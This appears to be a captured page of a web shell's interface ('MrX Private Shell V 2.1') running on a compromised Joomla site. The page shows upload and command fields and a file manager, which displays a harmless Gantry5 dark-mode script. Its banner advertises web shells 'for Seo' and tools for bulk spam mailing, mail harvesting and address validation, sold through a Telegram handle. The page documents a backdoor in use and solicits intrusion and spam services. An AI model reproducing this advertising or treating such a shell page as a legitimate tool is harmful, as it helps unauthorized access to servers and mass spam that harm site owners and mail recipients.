__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// Gantry5 Dark Mode for Joomla
document.addEventListener('DOMContentLoaded', function() {
    // Check if Joomla is using dark mode
    const htmlElement = document.documentElement;
    const bodyElement = document.body;
    
    // Various ways to detect dark mode in Joomla
    const isJoomlaDarkMode = 
        htmlElement.getAttribute('data-color-scheme') === 'dark' || 
        htmlElement.getAttribute('data-bs-theme') === 'dark' ||
        htmlElement.classList.contains('dark-mode') ||
        bodyElement.classList.contains('dark-mode') ;
    
    console.log('Gantry5 Dark Mode: Joomla dark mode detected:', isJoomlaDarkMode);
    
    // Apply dark mode class to Gantry container
    if (isJoomlaDarkMode) {
        const gantryContainer = document.getElementById('g5-container');
        if (gantryContainer) {
            gantryContainer.classList.add('g5-dark-mode');
            console.log('Gantry5 Dark Mode: Applied dark mode to Gantry container');
        }
    }
    
    // Watch for changes in Joomla's color scheme
    const observeHtml = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            if (mutation.type === 'attributes' || mutation.type === 'classList') {
                const isDark = 
                    htmlElement.getAttribute('data-color-scheme') === 'dark' || 
                    htmlElement.getAttribute('data-bs-theme') === 'dark' ||
                    htmlElement.classList.contains('dark-mode') ||
                    bodyElement.classList.contains('dark-mode');
                
                const gantryContainer = document.getElementById('g5-container');
                if (gantryContainer) {
                    if (isDark) {
                        gantryContainer.classList.add('g5-dark-mode');
                        console.log('Gantry5 Dark Mode: Applied dark mode to Gantry container (mutation)');
                    } else {
                        gantryContainer.classList.remove('g5-dark-mode');
                        console.log('Gantry5 Dark Mode: Removed dark mode from Gantry container (mutation)');
                    }
                }
            }
        });
    });
    
    // Start observing HTML element for attribute and class changes
    observeHtml.observe(htmlElement, { 
        attributes: true, 
        attributeFilter: ['data-color-scheme', 'data-bs-theme', 'class'] 
    });
    
    // Also observe body element for class changes
    observeHtml.observe(bodyElement, { 
        attributes: true, 
        attributeFilter: ['class'] 
    });
    
    // Force apply dark mode if needed
    const forceApply = function() {
        if (isJoomlaDarkMode) {
            const gantryContainer = document.getElementById('g5-container');
            if (gantryContainer) {
                gantryContainer.classList.add('g5-dark-mode');
                console.log('Gantry5 Dark Mode: Force applied dark mode to Gantry container');
            }
        }
    };
    
    // Try to apply dark mode after a short delay (in case container is loaded later)
    setTimeout(forceApply, 500);
});

Filemanager

Name Type Size Permission Actions
dark-mode.js File 3.05 KB 0664
google-fonts.json File 461.09 KB 0664
main.js File 1.3 MB 0664
tooltips.js File 50.29 KB 0664
Filemanager